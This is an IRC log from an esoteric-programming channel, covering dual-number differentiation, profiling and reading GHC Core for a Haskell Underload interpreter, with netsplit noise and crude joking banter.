18:08:01 <elliott> olsner: Actually my compiler was going to be called unad because it's Underload with the derlo taken out, but no, this one's called relief (overload -> ... -> opposite -> relief)
18:08:04 <Vorpal> elliott, right
18:08:42 <olsner> overload -> opposite -> boredom?
18:08:55 <elliott> I think it was like overload -> burdened -> stress -> relief.
18:09:03 <elliott> Because of course underload is the opposite of overload.
18:09:07 <elliott> (being a tarpit of overload)
18:09:07 <cheater00> (about a haskell-based Coq-alike) "i'd love for it to become more mainstream"
18:09:15 <Vorpal> <Phantom_Hoover> Did you actually link to a proof that f(x+d) = df'(x) + f(x)? <-- err... Are there any special assumptions for that statement?
18:09:44 <Phantom_Hoover> d^2 = 0.
18:10:26 <Vorpal> Phantom_Hoover, is this in R? If so yes f(x+0) = 0*anything + f(x) :P
18:10:37 <elliott> Obviously, it's not in R.
18:10:44 <Vorpal> elliott, then what is the domain.
18:10:52 <elliott> Read.
18:10:57 <elliott> <elliott> (= Dual numbers)
18:10:59 <Vorpal> elliott, how far back?
18:11:03 <elliott> That far back.
18:11:05 <elliott> Whole lines.
18:11:11 <elliott> Three, in fact, before his message.
18:11:32 <Vorpal> ah.
18:11:37 <elliott> [[One application of dual numbers is automatic differentiation. Consider the real dual numbers above. Given any real polynomial P(x) = p0+p1x+p2x2+...+pnxn, it is straightforward to extend the domain of this polynomial from the reals to the dual numbers. Then we have this result: P(a+bε) = P(a)+bP ′(a)ε, where P′ is the derivative of P. By computing over the dual numbers, rather than over the reals, we can use this to compute derivatives of
18:11:37 <elliott> polynomials. More generally we may define division of dual numbers and then go on to define transcendental functions of dual numbers by defining f(a+bε) = f(a)+bf ′(a)ε. By computing compositions of these functions over the dual numbers and examining the coefficient of ε in the result we find we have automatically computed the derivative of the composition.]]
18:11:42 <elliott> Mrf, doesn't prove it.
18:11:53 <elliott> Phantom_Hoover: Perhaps I copied the proof from elsewhere; I recall it was quite elegant
18:12:04 <elliott> *elegant.
18:12:08 <elliott> Phantom_Hoover: Although I suspect a proof would likely depend on the operator definitions.
18:12:13 <elliott> Since those are the things that do the "real" differentiation.
18:12:29 <elliott> Also: "There's not really a need to explicitly write out the expressions for operations such as exponentiation. For any binary function on the reals, f, the natural extension to dual numbers is given by f(a+be,c+de) = f(a,c)+(b f1(a,c)+d f2(a,c))e, where f1 and f2 are the two partial derivatives of f with respect to its arguments. Sigfpe 01:02, 14 December 2006 (UTC)"
18:13:06 -!- Sgeo has quit (Ping timeout: 240 seconds).
18:13:26 <Phantom_Hoover> Oh, of course, it's just expanding the polynomial.
18:13:30 -!- cheater00 has quit (Ping timeout: 240 seconds).
18:15:02 -!- cheater00 has joined.
18:31:06 -!- Phantom_Hoover has quit (Ping timeout: 240 seconds).
18:31:36 -!- Sgeo has joined.
18:40:18 <elliott> So what's a decent Nintendo 64 emulator.
18:49:55 <elliott> p == q = toQ p == toQ q
18:49:57 <elliott> Where toQ is Obj -> Obj.
18:50:00 <elliott> HURF DURF
18:53:08 <elliott> $ time ./relief '(:*)(~:*:S(/)S~:^):^' >foo
18:53:08 <elliott> real0m10.685s
18:53:08 <elliott> $ ls -lh foo
18:53:08 <elliott> -rw-r--r-- 1 elliott elliott 156M 2011-02-22 19:22 foo
18:53:10 <elliott> I think that's a record.
19:01:52 <elliott> str Main 57.8 66.4
19:01:52 <elliott> putResult Main 18.2 1.0
19:01:52 <elliott> cat Main 18.2 32.5
19:01:52 <elliott> strOp Main 5.9 0.0
19:01:54 <elliott> str: SO EXPENSIVE.
19:10:35 -!- pikhq_ has joined.
19:10:39 -!- pikhq has quit (Ping timeout: 260 seconds).
19:13:20 <elliott> OK, running with oerjan's insane disclaimed Turing machine gives a better profile.
19:13:44 <elliott> Unsurprisingly the interpreter itself is taking most of the time; cat is second and == is fourth.
19:13:49 <elliott> cat's time is probably mostly taken up by ==.
19:13:55 <elliott> cat Main 742 49504232 27.3 43.1 43.5 49.7
19:13:55 <elliott> ==_a1ie Main 743 30527845 10.1 6.6 16.1 6.6
19:13:55 <elliott> ==_a1hS Main 745 30056779 4.3 0.0 4.3 0.0
19:13:56 <elliott> Indeed.
19:14:07 <elliott> So if I can optimise == somehow...
19:14:15 <elliott> Maybe deduplicate slightly less.
19:17:36 <olsner> implement == using an unsafe pointer comparison? :D
19:17:59 -!- Wamanuz5 has quit (Remote host closed the connection).
19:18:15 <olsner> look at the core, make stuff more strict, add some inline pragmas
19:18:15 -!- miekko has quit (Ping timeout: 250 seconds).
19:18:28 -!- Wamanuz5 has joined.
19:18:55 <elliott> olsner: I tried that pointer comparison thing in fact
19:19:02 -!- miekko has joined.
19:19:05 <elliott> but it didn't work, and besides, i think I need to deduplicate slightly smarter than that
19:19:09 <elliott> although I'm not sure about that
19:19:29 <elliott> olsner: I dunno why it didn't work though, in (x:x:xs) I'd expect the two xs to be pointerdentical. is that a word?
19:20:00 <elliott> I've added some strictness annotations to the stack that seem to help but that was a while ago. inlining might help.
19:20:03 <olsner> you can never be sure about pointerdenticality
19:20:08 <elliott> olsner: yes yes :)
19:20:11 <elliott> what is it again, just {-# INLINE #-} above the function?
19:20:20 <elliott> olsner: Possibly I could reimplement it as pointerdentical || slow.
19:20:43 <olsner> exactly, use pointerdentity as a fast-and-ugly comparison that sometimes works
19:20:51 -!- ineiros_ has quit (Ping timeout: 250 seconds).
19:21:00 <elliott> olsner: yeah but afaict it _never_ works :)
19:21:09 <elliott> as in, the only time cat would ever call it, it never seems to trigger
19:21:15 <olsner> hmm, that sucks
19:21:24 -!- ineiros has joined.
19:21:51 <olsner> but you should probably start by looking at the core to see what's being done lazily that doesn't have to
19:21:56 <elliott> two finns in several minutes returning, INTERESTING
19:22:02 <elliott> olsner: yeah, I guess I had better learn Core sometime ...
19:22:10 <elliott> at least thanks to oerjan i can reasonably claim the title of "smartest" underload interpreter, if perhaps not the fastest
19:22:26 <elliott> olsner: I have this sneaking feeling that this project will end up being converted to C once I figure out how it should work :)
19:23:01 <olsner> one trick, if those x's are something small like bytes, is to make your own list that is only lazy in the spine, but stores them unboxed
19:23:22 <elliott> olsner: They are *so* not something small.
19:23:25 <elliott> Big complex structures.
19:23:35 <elliott> data Obj = Church Integer Obj -- Obj is for printing
19:23:35 <elliott> | Quote [Op]
19:23:35 <elliott> | Catn Obj Obj
19:23:36 <elliott> | Rept Integer Obj -- FIXME: Use for more things
19:23:38 <olsner> oh noes
19:23:38 <elliott> deriving (Show)
19:23:40 <elliott> That's an x :P
19:23:52 -!- iconmaster has quit (Ping timeout: 240 seconds).
19:24:09 <elliott> olsner: I never access more than one element down, too, so an array probably wouldn't help
19:28:07 <olsner> hmm, how boring
19:28:15 <elliott> hmm, I forgot to use -O2 when profiling
19:28:20 <elliott> let's try that again
19:28:22 <olsner> uh oh
19:28:28 <elliott> olsner: i doubt it'll change much :P
19:29:10 <olsner> probably not that much no :)
19:29:47 <elliott> heh, well it did a bit actually
19:29:51 <elliott> cat is now only 2.1%, somehow
19:29:57 <olsner> elliott: cabal install ghc-core now, then ghc-core foo.hs
19:30:02 <elliott> but, indeed, looks like == is still a major cost centre.
19:30:08 <elliott> and... >>= ... is apparently taking 5.1% of the time
19:30:09 <elliott> X-D
19:30:16 <elliott> olsner: oh i was gonna use -fext-core
19:30:18 <elliott> but that sounds nice
19:30:26 <elliott> you forgot -O2 though :)
19:30:30 <olsner> it's super convenient
19:30:37 <olsner> and I think it adds -O2 by default
19:30:40 -!- Sgeo has quit (Ping timeout: 240 seconds).
19:30:40 <elliott> ah
19:31:15 <elliott> [1 of 6] Compiling Language.Haskell.Lexer.Tokens ( Language/Haskell/Lexer/Tokens.hs, dist/build/Language/Haskell/Lexer/Tokens.o )
19:31:15 <elliott> Language/Haskell/Lexer/Tokens.hs:1:0:
19:31:15 <elliott> Warning: Module `Prelude' is deprecated:
19:31:16 <elliott> :-D
19:32:01 <olsner> I think that's the base-3 prelude getting imported
19:32:30 <elliott> olsner: I carefully redacted that to make it more amusing
19:33:01 <elliott> olsner: Oh gosh, it's all colourised and fancy.
19:33:05 <olsner> it's a bit annoying the whole base-3/4 thing and the weird stuff that cabal does with it
19:33:11 <olsner> yes, super convenient!
19:33:17 <elliott> I have to question the readability of medium purple on dark purple, though. Thanks Ubuntu!
19:33:34 <elliott> main11 =
19:33:34 <elliott> unpackCString#
19:33:34 <elliott> "Pattern match failure in do expression at relief.hs:217:2-7"
19:33:38 <elliott> Heh.
19:33:41 -!- Slereah has quit (Ping timeout: 240 seconds).
19:33:43 <elliott> (I do [foo] <- getArgs.)
19:34:12 <elliott> a1_r2Yc :: ChElem
19:34:12 <elliott> GblId
19:34:12 <elliott> a1_r2Yc = ChStr a_r2Ya
19:34:12 <elliott> a2_r2Ye :: (ChElem, Int)
19:34:12 <elliott> GblId
19:34:13 <elliott> a2_r2Ye = (a1_r2Yc, $fShowResult1)
19:34:14 <elliott> olsner: super convenient.
19:34:35 <elliott> I think Parsec does insane things to core X-D
19:34:43 <olsner> you can read that as "omg why is it doing all this crap"
19:34:45 -!- Slereah has joined.
19:34:52 <olsner> and then you remove it and it goes faster :P
19:34:58 <elliott> olsner: that's just from church'. which is only called during parsing.
19:35:04 <elliott> ok i plan to call it in cat, but don't yet
19:35:25 <elliott> a6_r2Yu =
19:35:26 <elliott> __inline_me (\ (@ b_X2eh)
19:35:28 <elliott> best primitive name evar
19:35:41 <olsner> __inline_me?
19:35:51 <elliott> GHC put it there, it seems :P
19:36:39 <olsner> not quite sure what it means though - obviously it wasn't inlined
19:36:51 <elliott> olsner: Probably it gets inlined after Core.
19:36:55 <elliott> I hear there are multiple stages of inlining.
19:37:16 <elliott> main3 :: forall a_aUA.
19:37:17 <elliott> Result String a_aUA
19:37:17 <elliott> -> State# RealWorld
19:37:17 <elliott> -> (# State# RealWorld, () #)
19:37:19 <elliott> Gotta love IO's real type.
19:37:32 <olsner> I guess you can check the assembly to see what actually happened to it in the end
19:37:48 <elliott> Yeah, reading GHC-generated assembly is not on my todo list.
19:37:59 <elliott> So wait, what do I grep for laziness :-)
19:38:04 <elliott> I haven't seen any explicit laziness yet.
19:38:28 <olsner> you see it as pattern matching
19:38:45 <elliott> Just "case" then?
19:38:56 <elliott> case elem
19:38:56 <elliott> @ Char $fEqChar c_a2bL lvl2_r2Yo
19:38:56 <elliott> of _ {
19:38:56 <elliott> False -> True; True -> False
19:38:56 <elliott> }
19:38:57 <elliott> lol, parsec
19:39:30 <olsner> and I think you can see when thunks get allocated instead of plain values getting returned
19:39:54 <elliott> This would probably be readable if I put my Parsec shit into another module.
19:40:32 <olsner> for something simple like Int, you can see if it gets unboxed by checking if it's pattern matched to I#
19:41:22 <elliott> case ds_d1pK of wild_B1 {
19:41:22 <elliott> __DEFAULT ->
19:41:22 <elliott> case dataToTag# @ Op wild_B1 of a#_aQ5 { __DEFAULT ->
19:41:22 <elliott> case dataToTag# @ Op ds1_d1pL
19:41:22 <elliott> of b#_aQ6 { __DEFAULT ->
19:41:23 <elliott> ==# a#_aQ5 b#_aQ6
19:41:25 <elliott> }
19:41:27 <elliott> };
19:41:29 <elliott> "What the hell is going on here."
19:41:41 <elliott> olsner: No results for I#, hooray :P ... but I don't really have ints in my program
19:41:48 <elliott> Mostly Integers.
19:41:53 <olsner> hmm, dataToTag#, does that imply you're using Data and stuff?
19:42:08 <elliott> I'm not.
19:42:27 <elliott> I've absolutely no idea what that is about; it looks to be the automatically-generated ... yeah.
19:42:31 <elliott> olsner: it's the auto-derived Eq instance
19:42:37 <elliott> seems like it handles all zero-argument constructors
19:42:42 <elliott> with the recursive ones and ones with strings handled
19:42:47 <elliott> I guess it's doing some kind of direct comparison
19:42:59 <elliott> *handled separately
19:43:21 <olsner> aha, I see, it's checking if it's the same constructor in both arguments
19:43:31 <olsner> by extracting the magic
19:44:07 <elliott> Glad _you_ can read it.
19:44:41 <olsner> the "case ds_d1pK of foo" might imply that it's being lazy (do you need laziness here?)
19:45:56 <olsner> is there some way for me to test this? the source?
19:47:15 <elliott> olsner: I could give you the source if you really want to de-lazify my program :-P ... although it does rely on laziness for the Result structure... anyway
19:47:17 <elliott> It's pretty ugly though
19:47:32 <elliott> But hey, it contains the code of oerjan, writer of half the Haskell-98 report, how bad can it be?
19:47:47 <elliott> olsner: http://sprunge.us/EXjf
19:47:51 <olsner> what, oerjan wrote the report?
19:49:25 <elliott> olsner: he wrote, er, several typo corrections!
19:49:30 <elliott> By which I mean: several MILLION
19:50:31 <olsner> bork bork, which parsec does that need?
19:51:03 <elliott> olsner: 3. it's shiny
19:51:07 <elliott> olsner: (You can tell because 3 = Text.Parsec)
19:51:17 <elliott> And Text.ParserCombinators.Parsec = 2 or 3's back-compat :P
19:51:43 <elliott> olsner: I half plan to port it over to bytestring/attoparsec but I don't see that as a huge bottleneck right now
19:51:54 <olsner> crap, I have 2
19:53:21 <elliott> olsner: Just cabal install 'parsec>=3', works fine
19:53:22 <elliott> :P
19:53:34 <elliott> It's only a problem if you have dependencies which end up depending on both IME
19:59:38 <quintopia> http://andrewvos.com/2011/02/21/amount-of-profanity-in-git-commit-messages-per-programming-language/
20:00:43 <elliott> So basically, PHP devs are really carefree.
20:00:44 <elliott> Or just stuck-up.
20:00:54 <elliott> Pythonerifiers... definitely stuck-up.
20:04:02 <elliott> I bet olsner's made my code SO FAST
20:06:34 -!- augur has quit (Remote host closed the connection).
20:07:58 -!- TLUL has joined.
20:09:24 -!- augur has joined.
20:11:35 -!- cheater00 has quit (Ping timeout: 240 seconds).
20:11:48 -!- ineiros has quit (*.net *.split).
20:11:49 -!- BeholdMyGlory has quit (*.net *.split).
20:11:49 -!- EgoBot has quit (*.net *.split).
20:11:49 -!- Zuu has quit (*.net *.split).
20:11:49 -!- quintopia has quit (*.net *.split).
20:11:49 -!- Ilari has quit (*.net *.split).
20:11:49 -!- Ilari_antrcomp has quit (*.net *.split).
20:12:57 -!- cheater00 has joined.
20:14:55 <olsner> elliott: when you have "one Swap !(x:y:xs)", the pattern matching itself makes sure the second argument is forced - and it will stay forced for the remaining patterns as well :)
20:15:05 <olsner> (so most of the !'s are redundant)
20:15:15 <elliott> olsner: right, those were added as a really quick-hack attempt to see if it went faster
20:15:19 <elliott> when it did, i didn't bother cleaning it up :)
20:15:27 <Deewiant> Well, it's nice to have behaviour that doesn't depend on the pattern order
20:18:24 <Gregor> lawl @ the JS chunk :P
20:18:25 <Gregor> JSers curse like sailors.
20:20:15 <elliott> Gregor: It's because their language is just so, so bad.
20:20:18 <elliott> They can barely cope.
20:20:39 -!- BeholdMyGlory has joined.
20:22:29 <Gregor> elliott: Frankly I think it's because most of them have been /forced/ to use it, rather than coming to it like any other language *shrugs*
20:22:41 <Gregor> Uhhh, this is a bad /topic
20:22:59 <elliott> Gregor: Yeah, I was trying to see if your evil EgoBot force-"esoteric programming languages"-to-be-in-topic thing worked.
20:23:01 <elliott> It doesn't.
20:23:06 <elliott> (Thank god.)
20:23:37 <Gregor> I removed it after everybody complained.
20:23:50 -!- Gregor has set topic: It sure is boring around here, I just wonder what Gannon's up to! | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
20:24:30 <Gregor> Apparently it's "Ganon" :P
20:24:35 -!- Gregor has set topic: It sure is boring around here, I just wonder what Ganon's up to! | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
20:26:19 -!- Sgeo has joined.
20:30:14 -!- iconmaster has joined.
20:30:14 -!- ineiros has joined.
20:30:14 -!- EgoBot has joined.
20:30:14 -!- Zuu has joined.
20:30:14 -!- quintopia has joined.
20:30:14 -!- Ilari has joined.
20:30:14 -!- Ilari_antrcomp has joined.
20:30:14 -!- zelazny.freenode.net has set topic: hmm.
20:30:16 <iconmaster> ...
20:30:16 <iconmaster> OK, im seriouly freaked out now.
20:30:16 <iconmaster> SAY SOMETHING GUYS!!!!!!
20:30:16 -!- iconmaster has left (?).
20:30:16 -!- iconmaster has joined.
20:30:24 <Gregor> ... wtf
20:30:26 -!- Gregor has set topic: It sure is boring around here, I just wonder what Ganon's up to! | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
20:30:31 <iconmaster> That was crazy.
20:30:43 <Gregor> iconmaster: That was a netsplit :P
20:30:53 <iconmaster> You guys kept coming and leaving and not saying anything.
20:30:57 -!- pumpkin has joined.
20:31:22 <Gregor> <iconmaster> I'm afeared o' the big bad netsplit waaaaah
20:31:33 <Gregor> :P
20:31:35 <elliott> That wan't a netsplit.
20:31:48 <elliott> Well, might have been.
20:31:51 <iconmaster> Exept Ilari. He managed to say something to me. Is that normal?
20:31:52 <elliott> It looks like one of those strange desyncs.
20:32:01 <elliott> iconmaster: Well that sounds like a netsplit.
20:32:03 <elliott> But Ilari is just a ghost.
20:32:21 * Sgeo nutrientizes iconmaster
20:32:25 <iconmaster> Lol, ok, im fine now.
20:32:39 <elliott> olsner: superoptimised my program yet ;D
20:33:33 -!- copumpkin has quit (Ping timeout: 272 seconds).
20:35:07 <olsner> elliott: no, still rewriting it :P
20:35:12 <elliott> olsner: X_X
20:35:17 -!- dbc has quit (*.net *.split).
20:35:17 -!- augur has quit (*.net *.split).
20:35:17 -!- variable has quit (*.net *.split).
20:35:17 -!- aloril has quit (*.net *.split).
20:35:17 -!- rodgort has quit (*.net *.split).
20:35:17 -!- Deewiant has quit (*.net *.split).
20:35:18 -!- lambdabot has quit (*.net *.split).
20:35:18 -!- comex_ has quit (*.net *.split).
20:35:18 -!- BeholdMyGlory has quit (*.net *.split).
20:35:18 -!- miekko has quit (*.net *.split).
20:35:19 -!- yorick has quit (*.net *.split).
20:35:19 -!- fungot has quit (*.net *.split).
20:35:19 -!- tswett has quit (*.net *.split).
20:35:19 -!- iconmaster has quit (*.net *.split).
20:35:19 -!- ineiros has quit (*.net *.split).
20:35:19 -!- EgoBot has quit (*.net *.split).
20:35:19 -!- Zuu has quit (*.net *.split).
20:35:19 -!- quintopia has quit (*.net *.split).
20:35:19 -!- Ilari has quit (*.net *.split).
20:35:20 -!- Ilari_antrcomp has quit (*.net *.split).
20:35:20 -!- cheater00 has quit (*.net *.split).
20:35:20 -!- jix has quit (*.net *.split).
20:35:21 -!- HackEgo has quit (*.net *.split).
20:35:21 -!- shachaf has quit (*.net *.split).
20:35:21 -!- Vorpal has quit (*.net *.split).
20:35:21 -!- lifthrasiir has quit (*.net *.split).
20:35:21 -!- pumpkin has quit (*.net *.split).
20:35:22 -!- FireFly has quit (*.net *.split).
20:35:22 -!- pingveno has quit (*.net *.split).
20:35:22 -!- mycroftiv has quit (*.net *.split).
20:35:22 -!- TLUL has quit (*.net *.split).
20:35:22 -!- MigoMipo has quit (*.net *.split).
20:35:23 -!- jcp has quit (*.net *.split).
20:35:23 -!- olsner has quit (*.net *.split).
20:35:24 -!- myndzi has quit (*.net *.split).
20:35:24 -!- cal153 has quit (*.net *.split).
20:35:24 -!- azaq23 has quit (*.net *.split).
20:35:25 -!- Leonidas has quit (*.net *.split).
20:35:25 -!- fizzie has quit (*.net *.split).
20:35:25 -!- yiyus has quit (*.net *.split).
20:35:26 -!- Lymia has quit (*.net *.split).
20:35:26 -!- Gregor has quit (*.net *.split).
20:35:26 -!- Sgeo has quit (*.net *.split).
20:35:26 -!- Wamanuz5 has quit (*.net *.split).
20:35:27 <elliott> olsner: There is nothing wrong with the code structure :P
20:35:33 -!- elliott has quit (Quit: Leaving).
20:36:50 -!- lambdabot has joined.
20:36:50 -!- comex_ has joined.
20:37:05 -!- dbc has joined.
20:37:05 -!- pumpkin has joined.
20:37:05 -!- iconmaster has joined.
20:37:05 -!- Ilari_antrcomp has joined.
20:37:05 -!- Ilari has joined.
20:37:05 -!- quintopia has joined.
20:37:05 -!- Zuu has joined.
20:37:05 -!- EgoBot has joined.
20:37:05 -!- ineiros has joined.
20:37:05 -!- Sgeo has joined.
20:37:05 -!- BeholdMyGlory has joined.
20:37:05 -!- cheater00 has joined.
20:37:05 -!- TLUL has joined.
20:37:05 -!- miekko has joined.
20:37:05 -!- Wamanuz5 has joined.
20:37:05 -!- jix has joined.
20:37:05 -!- MigoMipo has joined.
20:37:05 -!- azaq23 has joined.
20:37:05 -!- FireFly has joined.
20:37:05 -!- myndzi has joined.
20:37:05 -!- pingveno has joined.
20:37:05 -!- yorick has joined.
20:37:05 -!- Lymia has joined.
20:37:05 -!- fungot has joined.
20:37:05 -!- HackEgo has joined.
20:37:05 -!- tswett has joined.
20:37:05 -!- cal153 has joined.
20:37:05 -!- Gregor has joined.
20:37:05 -!- jcp has joined.
20:37:05 -!- shachaf has joined.
20:37:05 -!- Leonidas has joined.
20:37:05 -!- fizzie has joined.
20:37:05 -!- Vorpal has joined.
20:37:05 -!- olsner has joined.
20:37:05 -!- yiyus has joined.
20:37:05 -!- lifthrasiir has joined.
20:37:05 -!- mycroftiv has joined.
20:37:13 -!- elliott has joined.
20:37:13 <Sgeo> dbc, I don't think clog can se... darn
20:37:13 -!- elliott has quit (Changing host).
20:37:13 -!- elliott has joined.
20:37:15 <elliott> olsner: Why does it need rewritin'
20:37:17 <Sgeo> I thought the netsplit managed to have dbc on both halves or somethng
20:37:17 <fizzie> Some sort of quantum superposition dbc?
20:37:26 -!- augur has joined.
20:37:26 -!- variable has joined.
20:37:26 -!- aloril has joined.
20:37:26 -!- rodgort has joined.
20:37:26 -!- Deewiant has joined.
20:37:27 -!- elliott has quit (Read error: Connection reset by peer).
20:37:46 -!- elliott has joined.
20:37:55 <Gregor> elliott: HALLO 91.105.78.253 HOW ARE U
20:38:05 <olsner> elliott: I'm only rewriting a small part of it, dunno if this will work out at all though, the Chunk thing is confusing me
20:38:13 <elliott> olsner: The Chunk thing is necessary.
20:38:16 <elliott> olsner: The old system reaally sucked.
20:38:25 <elliott> olsner: Basically it's just a stream of output that can end in an error.
20:38:29 <elliott> So (hello)S(world)Sx will be
20:38:38 <elliott> Chunk "hello" (Chunk "world" (Failure "LOL NO X INSTRUCTION"))
20:38:47 <elliott> olsner: Or if the function e.g. returns the stack after the computation, it will end with (End stack).
20:39:24 <elliott> olsner: The structure is essentially ([a],Either e String)
20:41:38 <olsner> right, starting to see how it fits together
20:42:43 <elliott> Result I copied from an earlier project, which is why it's not hideous :P
20:43:17 <dbc> I'm here :)
20:43:25 <elliott> olsner: Basically it lets me thread computations without explicit concatenation of output.
20:44:36 <dbc> The accusation that I only show up to announce that I'm here and never say anything else is accurate enough.
20:45:06 <Gregor> PROVED
20:45:13 <elliott> dbc: You're ABUSING your ESOLANG TENURE.
20:45:26 <dbc> I've been busy having lots of sex with a ton of people. Actually more like three metric tons in literal terms.
20:46:04 <Gregor> So, dbc has been having sex with someone who weighs three metric tons.
20:46:05 <dbc> I haven't written a brainfuck program since factorial in probably two years.
20:46:24 <Gregor> Itself not an unimpressive feat, unless you consider fat-flap-sex as sex.
20:47:08 <dbc> I said "people", not "person". Nobody much over 200 kilos.
20:49:12 <dbc> Also I'm doing a master's in computer science. That's mostly been easy and fun, but it does eat some more time.
20:49:12 -!- elliott has quit (Read error: Connection reset by peer).
20:50:12 -!- elliott has joined.
20:50:16 <elliott> I welcome this new age of precisely weighing people before engaging in intercourse. Also, do not welcome my internet connection to anything because it sucks.
20:50:50 <fizzie> That's not necessarily a disadvantage during intercourse.
20:52:37 -!- elliott_ has joined.
20:52:43 <elliott_> Eurgh.
20:52:58 <dbc> Again, this is an estimate. :P
20:53:03 <Gregor> dbc: I'm doing a PhD in CS, and yet HERE I AM :P
20:53:22 <elliott_> Gregor: Yeah, but what's the sum total of the weight of the this sentence is getting out of hand, structurally?
20:53:30 <elliott_> dbc is juggling, like, TWO responsibilities here.
20:53:48 <Gregor> Right, I'm not having sex with a behemoth >_>
20:54:10 <elliott_> Someone has to do it.
20:55:09 -!- elliott has quit (Ping timeout: 264 seconds).
20:55:20 <fizzie> Gregor: Are you at least trying to integrate your PhD and the channel somehow? (E.g. I used our department's variable-length n-gram language model toolkit to build fungot's babble models, which I can sort-of count, since I learned (hypothetically in theory, anyway) more about the thing.)
20:55:21 <fungot> fizzie: godel is fnord fnord. mies fnord fnord fnord fnord koko
20:55:34 <fizzie> As you can see, a job well done.
20:55:53 <fizzie> fungot: Can't you not embarrass me *once*?
20:55:53 <fungot> fizzie: if your drscheme is correctly installed, just typing: ( require ( lib " 1.ss" " srfi"
20:55:54 <Gregor> fizzie: My "real" language design stuff is all an amalgam of #esoteric and my PhD.
20:56:02 <dbc> What's a godel?
20:56:12 <fizzie> It's a fnord fnord.
20:56:13 <Gregor> dbc: Idonno, whats a godel with you HAW HAW HAW
20:56:23 -!- Sgeo has quit (Ping timeout: 276 seconds).
20:56:41 <fizzie> Also fi:mies = man, fi:koko = size, and having those two words in the same sentence is awfully suggestive.
20:57:25 <Gregor> Not happy with your mieskoko? Just send $49.95 in an unmarked envelope to ...
20:57:31 <elliott_> Yeah, and fi:fnord = !
20:57:36 <fizzie> (There's a tiny bit of Finnish text mangled in fungot's "irc" model, courtesy of one channel that has been sporadically bilingual.)
20:57:37 <fungot> fizzie: ( 3 4.0 7.0) to ( iterate ( :list var list) body)) val...)
20:57:50 <elliott_> fizzie: I can't wait until fungot starts quoting your PMs.
20:57:50 <fungot> elliott_: well amusing as it might be a good space optimization for the common case, shadowing is the only gui framework, although unlike emacs it can only have one
20:57:51 <Gregor> `translate fnord
20:57:55 <elliott_> CAN'T WAIT
20:58:05 -!- pumpkin has changed nick to copumpkin.
20:58:19 <elliott_> Ha, I can hear fizzie's shock as he realises that that might happen.
20:58:28 <fizzie> It... shouldn't happen.
20:58:41 <elliott_> fizzie: Is that "it would be bad if that happened", or "it can't happen"?
20:58:48 <fizzie> Both, I guess.
20:59:00 <elliott_> fizzie: Are you SURE?
20:59:08 <fizzie> I'm a bit suspicious of irssi's logging, so I can't completely rule it out.
20:59:32 <HackEgo> No output.
20:59:53 <elliott_> fizzie: I think if you did /msg foo bar in-channel it shows in the channel screen and therefore gets logged there.
21:00:10 <elliott_> Let's just hope all your DCC requests for donkey porn were in /query.
21:00:46 <fizzie> It shouldn't happen for autolog logs with a target-based file name, just for window-logging logs. But again, I'm not entirely sure.
21:01:05 <elliott_> I can hear you hyperventilating over IRC, you know.
21:01:26 <fizzie> To satisfy your curiosity, however, I picked a random private message, and here it is (!): [2006-12-08 02:28:09] <fizzie> There's a whole pile of code that just disappears somewhere.
21:01:51 <fizzie> That was, perhaps, a bit anticliquematic.
21:02:49 <elliott_> Aw man, so boring.
21:02:54 <elliott_> PICK AGAIN.
21:03:08 <elliott_> Set up an IRC bot that picks one at random. It'll be like five minutes before we discover all your secrets.
21:03:12 -!- Phantom_Hooveer has joined.
21:03:19 <Phantom_Hooveer> Back.
21:03:24 <Phantom_Hooveer> Argh.
21:03:32 -!- Phantom_Hooveer has changed nick to Phantom_Hoover.
21:03:36 <fizzie> Nnnah, sooner or later I'd get unlucky. (Also picking ineiros as the recipient rather non-randomly, and selecting only the message itself randomly, might have helped my chances of hitting an innocuous one.)
21:03:50 <Phantom_Hoover> Does... does qwebirc not have /nick?
21:03:56 <Phantom_Hoover> FFs.
21:04:04 -!- Phantom_Hoover has quit (Client Quit).
21:04:31 -!- relic930 has joined.
21:04:39 -!- Phantom_Hoover has joined.
21:04:54 <fizzie> Phantom_Hoover: Your latest comment, coming as it did immediately after a nick change, was a bit curious.
21:05:20 <Phantom_Hoover> Oh, it just musn't actually *tell* you your nick changed.
21:05:23 <dbc> Anyway! Leaving again. Bye. :)
21:10:00 -!- Phantom_Hoover has quit (Ping timeout: 272 seconds).
21:10:16 -!- Phantom_Hoover has joined.
21:13:56 <elliott_> <fizzie> Nnnah, sooner or later I'd get unlucky. (Also picking ineiros as the recipient rather non-randomly, and selecting only the message itself randomly, might have helped my chances of hitting an innocuous one.)
21:14:04 <elliott_> We know all about your SECRET MESSAGES to dbc and, uh...
21:14:10 <elliott_> Deewiant. Yes. Him.
21:14:14 <Deewiant> Yes.
21:14:25 <elliott_> Deewiant: What a demented man is fizzie, eh.
21:14:29 <Deewiant> Yes.
21:16:38 <Phantom_Hoover> We can't exactly trust Deewiant on such matters.
21:16:44 <Deewiant> Yes.
21:18:09 <Phantom_Hoover> He's probably one of those crazy Finns who tricks gullible foreigners to roll around naked in the snow with them.
21:18:32 <Deewiant> No.
21:18:58 -!- Phantom_Hoover has quit (Quit: Page closed).
21:19:01 -!- dbc has quit (*.net *.split).
21:19:01 -!- BeholdMyGlory has quit (*.net *.split).
21:19:01 -!- miekko has quit (*.net *.split).
21:19:01 -!- yorick has quit (*.net *.split).
21:19:01 -!- fungot has quit (*.net *.split).
21:19:01 -!- tswett has quit (*.net *.split).
21:19:01 -!- iconmaster has quit (*.net *.split).
21:19:01 -!- ineiros has quit (*.net *.split).
21:19:01 -!- EgoBot has quit (*.net *.split).
21:19:01 -!- Zuu has quit (*.net *.split).
21:19:02 -!- quintopia has quit (*.net *.split).
21:19:02 -!- Ilari has quit (*.net *.split).
21:19:02 -!- Ilari_antrcomp has quit (*.net *.split).
21:19:53 -!- calamari has joined.
21:20:03 -!- pumpkin has joined.
21:20:03 -!- dbc has joined.
21:20:03 -!- iconmaster has joined.
21:20:03 -!- Ilari_antrcomp has joined.
21:20:03 -!- Ilari has joined.
21:20:03 -!- quintopia has joined.
21:20:03 -!- Zuu has joined.
21:20:03 -!- EgoBot has joined.
21:20:03 -!- ineiros has joined.
21:20:03 -!- BeholdMyGlory has joined.
21:20:03 -!- miekko has joined.
21:20:03 -!- yorick has joined.
21:20:03 -!- fungot has joined.
21:20:03 -!- tswett has joined.
21:20:28 -!- copumpkin has quit (Ping timeout: 250 seconds).
21:20:43 <iconmaster> Is it me, or does it fell more crowded in here now?
21:20:45 <iconmaster> *feel
21:20:46 -!- pumpkin has quit (Changing host).
21:20:46 -!- pumpkin has joined.
21:22:02 <cheater00> iconmaster: who are you
